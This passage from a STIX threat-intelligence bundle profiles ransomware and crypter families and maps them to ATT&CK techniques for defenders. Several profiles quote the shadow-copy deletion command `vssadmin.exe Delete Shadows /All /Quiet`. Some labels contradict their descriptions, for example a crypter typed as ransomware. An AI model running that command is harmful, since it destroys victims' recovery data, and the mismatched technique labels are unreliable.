(`bcdedit`) (`T1490`). It targets local drives, mapped network drives, and unmapped network shares.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is massive business disruption and data loss. Incident responders will observe a sudden spike in CPU and disk I/O as the encryption routine runs. EDR alerts will frequently flag the execution of `vssadmin.exe` or `wbadmin.exe` attempting to delete backups. The presence of the newly appended file extensions and the ransom notes are definitive indicators. Network logs may show the malware attempting to contact a C2 server to transmit the unique encryption keys before the encryption process finishes. (Observed samples in benchmark: 12)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Crypren",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/crypren"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5408c285-7fbc-55f8-a605-aab1d8c55aa8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c9744d9-a62c-52c0-a2f7-874f6bce9bc4",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crypren exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06cb97e6-ac87-56b4-a13b-200b484937a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c9744d9-a62c-52c0-a2f7-874f6bce9bc4",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crypren exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59d7951e-17a7-5878-b04c-01edbf6fef44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c9744d9-a62c-52c0-a2f7-874f6bce9bc4",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crypren exhibits technique T1491 (Defacement (Ransom Note))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5feba0c6-785f-5a5c-bddf-2186433824cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c9744d9-a62c-52c0-a2f7-874f6bce9bc4",
      "target_ref": "attack-pattern--913fd8f3-ac3d-5481-9dac-4c8ba68e34e9",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crypren exhibits technique T1570 (Lateral Tool Transfer (Deploying across the network))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a593d070-543d-58d4-8184-b702172caa63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3c9744d9-a62c-52c0-a2f7-874f6bce9bc4",
      "target_ref": "attack-pattern--1fcebc57-df32-5a76-a6b3-7f88fbefc45d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crypren exhibits technique T1133 (External Remote Services (RDP Compromise))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b331a098-4e83-5eea-9f22-615a0e01a5af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Crypt0L0Cker",
      "description": "Ransomware:Win32/Crypt0l0cker is a highly destructive ransomware variant, often considered a direct clone or spiritual successor to the original, infamous CryptoLocker. It emerged around 2015 and specifically targeted Windows systems. Its primary objective is to encrypt user files using strong, unbreakable cryptography (typically AES-256 combined with RSA-2048) and demand payment, usually in Bitcoin, for the decryption key (`T1486`).<br><br><b>Understanding Crypt0l0cker</b><br>To an end-user, the infection is devastating: they suddenly find their documents, photos, and databases inaccessible, appended with random extensions, and a glaring ransom note (often `DECRYPT_INSTRUCTIONS.html` or `.txt`) displayed on the desktop. For a SOC, it represents a massive failure in preventative controls and necessitates immediate incident response to prevent lateral movement and further data loss.<br><br><b>Execution and Encryption Mechanics</b><br>Crypt0l0cker was primarily distributed via massive spam campaigns containing weaponized ZIP attachments, often leveraging botnets like Cutwail or using exploit kits (like Angler). Upon execution, it contacts a Command and Control (C2) server (often using Domain Generation Algorithms - DGA - to evade blocking) to obtain a unique public encryption key. It then scans all local drives and mapped network shares (`T1486`), encrypting files matching specific extensions (e.g., `.doc`, `.xls`, `.jpg`). Crucially, it attempts to delete Volume Shadow Copies (`vssadmin.exe Delete Shadows /All /Quiet`) to prevent easy restoration (`T1490`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is severe business disruption and data loss. Host-based IoCs include the presence of the ransom notes, files with altered extensions, execution of `vssadmin.exe` to delete shadow copies, and the malware establishing persistence via the `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` registry key. Network IoCs include outbound HTTP/HTTPS traffic to unknown, high-entropy domains (DGA) or known Tor exit nodes used for C2 communication. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Crypt0L0Cker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/crypt0l0cker"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b3ff019-5907-5c1d-89a7-0c47a51090be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b331a098-4e83-5eea-9f22-615a0e01a5af",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crypt0L0Cker exhibits technique T1486 (Data Encrypted for Impact (The core ransomware functionality))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e8b2b76b-2064-5460-85cd-d1eba9777058",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b331a098-4e83-5eea-9f22-615a0e01a5af",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crypt0L0Cker exhibits technique T1490 (Inhibit System Recovery (Deleting Volume Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b124254e-a330-5b19-a9e0-57aa0907d292",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b331a098-4e83-5eea-9f22-615a0e01a5af",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crypt0L0Cker exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Primary delivery mechanism via malspam))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70f8b9af-7926-51e8-aea2-28fabfab2c86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b331a098-4e83-5eea-9f22-615a0e01a5af",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crypt0L0Cker exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (Using DGA for C2 resilience))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bfc4c51e-d472-5ffd-ab9e-93fa1453ab53",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cryptconsole",
      "description": "Ransom:Win32/Cryptconsole is a severe threat classified as Ransomware. It is designed to extort victims by strongly encrypting critical personal or corporate data, appending a specific extension to the files, and demanding payment in cryptocurrency for the decryption key.<br><br><b>Understanding Cryptconsole</b><br>To an end-user, a Cryptconsole infection represents an immediate crisis: documents and databases are suddenly inaccessible, and a ransom note (often a `.txt` or `.hta` file) is presented on the desktop. For an enterprise, it triggers a 'Code Red' incident response, requiring immediate network isolation to prevent lateral movement and the encryption of enterprise file shares and backups.<br><br><b>Execution and Extortion Mechanics</b><br>Cryptconsole is frequently distributed via targeted phishing (`T1566.001`), exploit kits, or dropped by other initial access malware. Upon execution, it achieves persistence (`T1547.001`) and actively attempts to impair endpoint defenses (`T1562.001`). Crucially, before encryption begins, it executes commands like `vssadmin.exe delete shadows /all /quiet` to destroy Windows Volume Shadow Copies, preventing easy system restoration (`T1490`). It then rapidly iterates through the filesystem and mapped network drives, encrypting files matching high-value extensions (e.g., `.docx`, `.sql`, `.pdf`) using robust encryption algorithms (`T1486`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is catastrophic data loss. Host-based IoCs include massive spikes in disk I/O and CPU usage during the encryption phase, the sudden appearance of ransom note files in every directory, and EDR alerts for `vssadmin.exe` or `wmic.exe` attempting to delete shadow copies. Network IoCs may include anomalous outbound traffic if the ransomware incorporates a data exfiltration module. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cryptconsole",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cryptconsole"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8911923f-f700-54ac-8697-a2fdebaeb447",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bfc4c51e-d472-5ffd-ab9e-93fa1453ab53",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptconsole exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a96b1ff-e58b-5040-a00c-7be11fd8458a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bfc4c51e-d472-5ffd-ab9e-93fa1453ab53",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptconsole exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d055e55-291b-5084-8bb1-dae6c182a64f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bfc4c51e-d472-5ffd-ab9e-93fa1453ab53",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptconsole exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78d265f8-471b-5950-94a4-d15b5a7d293d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bfc4c51e-d472-5ffd-ab9e-93fa1453ab53",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptconsole exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--30a0ed25-63ae-58f2-96d3-38330826a7ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cryptear",
      "description": "<h3>Executive Summary</h3>\nCryptear is a variant of destructive Ransomware designed to infiltrate corporate networks, rapidly encrypt critical file systems, and demand a cryptocurrency payment for the decryption key. It represents a severe, immediate threat to business continuity, often leveraging sophisticated evasion techniques to bypass endpoint security before initiating its encryption routine.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nCryptear typically gains access to a network through compromised Remote Desktop Protocol (RDP) connections (via brute-forcing or purchased credentials), malicious phishing attachments, or by exploiting public-facing vulnerabilities on edge devices.\n\nOnce inside the network, Cryptear executes a devastating attack chain:\n<ul>\n<li><strong>Defense Evasion:</strong> The malware actively attempts to terminate endpoint security services, disable Windows Defender, and crucially, delete Volume Shadow Copies (`vssadmin.exe Delete Shadows /All /Quiet`) to prevent easy, local data restoration.</li>\n<li><strong>Rapid Encryption:</strong> It utilizes strong cryptographic algorithms (typically AES paired with an asymmetric key like RSA) to encrypt user files, databases, and network shares. The encrypted files are appended with a specific extension (e.g., `.cryptear` or `.crypted`), and a ransom note (`HOW_TO_DECRYPT.txt`) is dropped into every affected directory.</li>\n<li><strong>Lateral Movement:</strong> Before triggering the final encryption payload, attackers often manually deploy tools like Cobalt Strike or Mimikatz alongside Cryptear to dump credentials and move laterally, aiming to compromise the Domain Controller to push the ransomware globally across the enterprise.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Cryptear infection is a catastrophic security incident that immediately halts business operations. It poses an existential threat to the organization through severe data loss, extended downtime, potential regulatory fines, and reputational damage.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Segmentation:</strong> Do not simply turn off the machines, as this destroys volatile memory forensics. Instantly sever the network connection of all infected machines (and the Domain Controller if compromised) from the internet and the rest of the LAN to halt lateral movement and data exfiltration.</li>\n<li><strong>Engage Incident Response:</strong> Immediately engage specialized third-party Incident Response and legal counsel. Do not attempt to negotiate with the threat actors without professional guidance.</li>\n<li><strong>Eradication and Recovery:</strong> Eradicating ransomware requires a complete infrastructure rebuild. All affected machines must be wiped to bare metal and rebuilt from known-good, offline backups. All enterprise credentials must be rotated globally.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransomware.Cryptear",
        "Trojan-Ransom.Win32.Cryptear",
        "Cryptolocker.Cryptear"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cryptear",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cryptear"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20e50236-0b87-54b0-ae54-8371d975936c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30a0ed25-63ae-58f2-96d3-38330826a7ca",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptear exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e866c74e-cb03-5a92-8763-60ed7ead699a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30a0ed25-63ae-58f2-96d3-38330826a7ca",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptear exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ddc0bcd8-ff87-52cb-a18a-381cf0452125",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30a0ed25-63ae-58f2-96d3-38330826a7ca",
      "target_ref": "attack-pattern--31d6d05d-adfe-5580-9365-20731a0168a5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptear exhibits technique T1012 (Query Registry (Identifying mounted drives and network shares to encrypt))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b02fd935-e201-58f9-bc52-913a21e7c6c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--30a0ed25-63ae-58f2-96d3-38330826a7ca",
      "target_ref": "attack-pattern--1bebd12d-91bd-5238-ab4b-3db129d6804f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptear exhibits technique T1078 (Valid Accounts (The goal of the attack))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--aaa00359-9b2e-58ca-a27f-2ab303d09424",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cryptexe",
      "description": "Trojan:Win32/Cryptexe is a generic detection frequently applied to malware that utilizes sophisticated software packing, encryption, or obfuscation tools ('crypters') to conceal its true payload (`T1027.002`). The primary goal of a crypter is to alter the file signature of a known malware sample (like a RAT or infostealer) so that it can bypass static, signature-based antivirus scanning at the perimeter.<br><br><b>Understanding Cryptexe (Crypters & Packers)</b><br>To an end-user, the infection appears as a normal file execution, followed immediately by the symptoms of the hidden payload. For security analysts, a 'Cryptexe' detection indicates that the AV engine recognized the obfuscation technique (the 'wrapper') but may not know exactly what the inner payload is until it executes in memory. Crypters are a foundational component of the Cybercrime-as-a-Service economy, sold specifically to help malware authors evade detection.<br><br><b>Execution and Evasion Mechanics</b><br>When the Cryptexe executable runs, the entry point points to a decryption 'stub'. This stub allocates memory (`VirtualAlloc`), decrypts the actual malicious payload from the file's resource section or data sections, and then executes it. Often, this involves 'Process Hollowing' (`T1055.012`)\u2014launching a legitimate process like `svchost.exe`, hollowing out its memory, and injecting the decrypted payload into it. The original packed file on disk never contains the raw malicious code, rendering static analysis useless without unpacking.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is entirely dependent on the decrypted payload (ransomware, spyware, etc.). Host-based IoCs include EDR alerts for 'Suspicious API Calls' (e.g., `CreateRemoteThread`, `WriteProcessMemory`), 'Process Hollowing', or executables with unusually high entropy (indicating encryption or compression). Network IoCs will be specific to the C2 infrastructure of the hidden payload. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cryptexe",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cryptexe"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--67832de8-74e2-5394-987e-95f003597e14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aaa00359-9b2e-58ca-a27f-2ab303d09424",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptexe exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (Using a crypter to hide the payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--040a69e6-2738-568c-a086-e4c1edfb5362",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aaa00359-9b2e-58ca-a27f-2ab303d09424",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptexe exhibits technique T1055.012 (Process Injection: Process Hollowing (Executing the decrypted payload in memory))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85502fcf-92e0-5d45-a702-2dd1f334c242",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aaa00359-9b2e-58ca-a27f-2ab303d09424",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptexe exhibits technique T1105 (Ingress Tool Transfer (Downloading the initial packed executable))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4aee5c24-fd49-5398-9166-ec7ad8198b0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cryptinject",
      "description": "Cryptinject (classified in antimalware definitions under designations including Ransom:Win32/Cryptinject, Trojan:Win32/Cryptinject, and VirTool:Win32/Cryptinject) is an evasive crypto-ransomware loader and injector. Rather than encrypting files from its own process space, Cryptinject specializes in process hollowing and memory injection into legitimate Windows binaries (such as svchost.exe, explorer.exe, or vssadmin.exe). From within the injected trusted process context, the ransomware payload evades standard behavioral heuristics while recursively encrypting local and network share files using AES-256 and demanding cryptocurrency payments. (Observed samples in benchmark: 15)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Cryptinject",
        "Trojan:Win32/Cryptinject",
        "VirTool:Win32/Cryptinject",
        "Win32/Cryptinject",
        "Cryptinject Ransomware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cryptinject",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cryptinject"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54a1fd17-42fd-53ab-bf35-e642e4f49d48",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4aee5c24-fd49-5398-9166-ec7ad8198b0a",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptinject exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--96c8eac2-7670-5d08-84d3-57e3c563bdc3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4aee5c24-fd49-5398-9166-ec7ad8198b0a",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptinject exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e834cd9-236c-5776-99d5-466a946c5d0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4aee5c24-fd49-5398-9166-ec7ad8198b0a",
      "target_ref": "attack-pattern--abf165c6-7223-5077-a3ea-1854fa56e62b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptinject exhibits technique T1620 (Reflective Code Loading)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--76d2bccd-3ebb-535b-a97b-1b84690fe608",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4aee5c24-fd49-5398-9166-ec7ad8198b0a",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptinject exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc444562-2e59-5f79-a608-08e1be5395b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4aee5c24-fd49-5398-9166-ec7ad8198b0a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptinject exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a030b988-eb06-582c-a02b-5d504d2bd683",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cryptojoker",
      "description": "<h3>Executive Summary</h3>\nCryptoJoker is a highly destructive strain of file-encrypting Ransomware. It is designed to quickly infiltrate a system, encrypt all valuable user data (documents, databases, images) using strong cryptographic algorithms, and demand a cryptocurrency payment (usually Bitcoin) in exchange for the decryption key. It poses an immediate, catastrophic threat to business continuity and data availability.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nCryptoJoker is typically distributed through massive, automated malspam campaigns containing malicious attachments, via drive-by downloads from compromised websites (Exploit Kits), or directly deployed by attackers who have purchased access to the network from Initial Access Brokers (often via compromised RDP endpoints).\n\nUpon execution, CryptoJoker performs a rapid, highly visible attack:\n<ul>\n<li><strong>VSS Deletion and Backup Destruction:</strong> The ransomware's first action is to execute commands (e.g., `vssadmin.exe Delete Shadows /All /Quiet`) to delete Volume Shadow Copies and disable Windows Recovery, preventing the user from easily restoring the encrypted files.</li>\n<li><strong>Rapid Encryption:</strong> It scans local drives and mapped network shares for specific file extensions. It typically uses a combination of AES for fast file encryption and RSA to secure the AES keys. Encrypted files are often appended with a specific extension (e.g., `.joker` or `.crpt`).</li>\n<li><strong>Extortion and Ransom Note:</strong> Once encryption is complete, the malware drops a ransom note (usually a `.txt` or `.html` file) in every affected directory and changes the desktop wallpaper. The note provides instructions on how to access a Tor-hosted payment portal to purchase the decryption tool.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA CryptoJoker infection is a critical, tier-one security incident. It results in an immediate loss of data availability and severe operational disruption. Furthermore, many modern ransomware operations employ \"double extortion,\" meaning they exfiltrate sensitive data *before* encrypting the network, threatening to leak it publicly if the ransom is not paid.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Severance:</strong> The absolute highest priority is to physically sever the infected endpoint (and any servers it can reach) from the network to halt the spread of the encryption across mapped drives and prevent data exfiltration.</li>\n<li><strong>DO NOT REBOOT:</strong> Do not reboot the infected machine. Rebooting can trigger \"wiper\" routines in some ransomware variants or clear volatile memory (RAM) that might contain the encryption key.</li>\n<li><strong>Restore from Offline Backups:</strong> Paying the ransom is strongly discouraged, as it funds criminal enterprises and does not guarantee data recovery. Eradication requires a complete bare-metal wipe of the infected infrastructure and a full restoration from secure, offline (air-gapped) backups.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom.CryptoJoker",
        "Trojan-Ransom.Win32.CryptoJoker",
        "Win32/Filecoder.CryptoJoker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cryptojoker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cryptojoker"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d2e6706e-aa04-565a-a9f4-0cc220af39e1",
      "created": "2026-01-01T00:00:00.000Z",
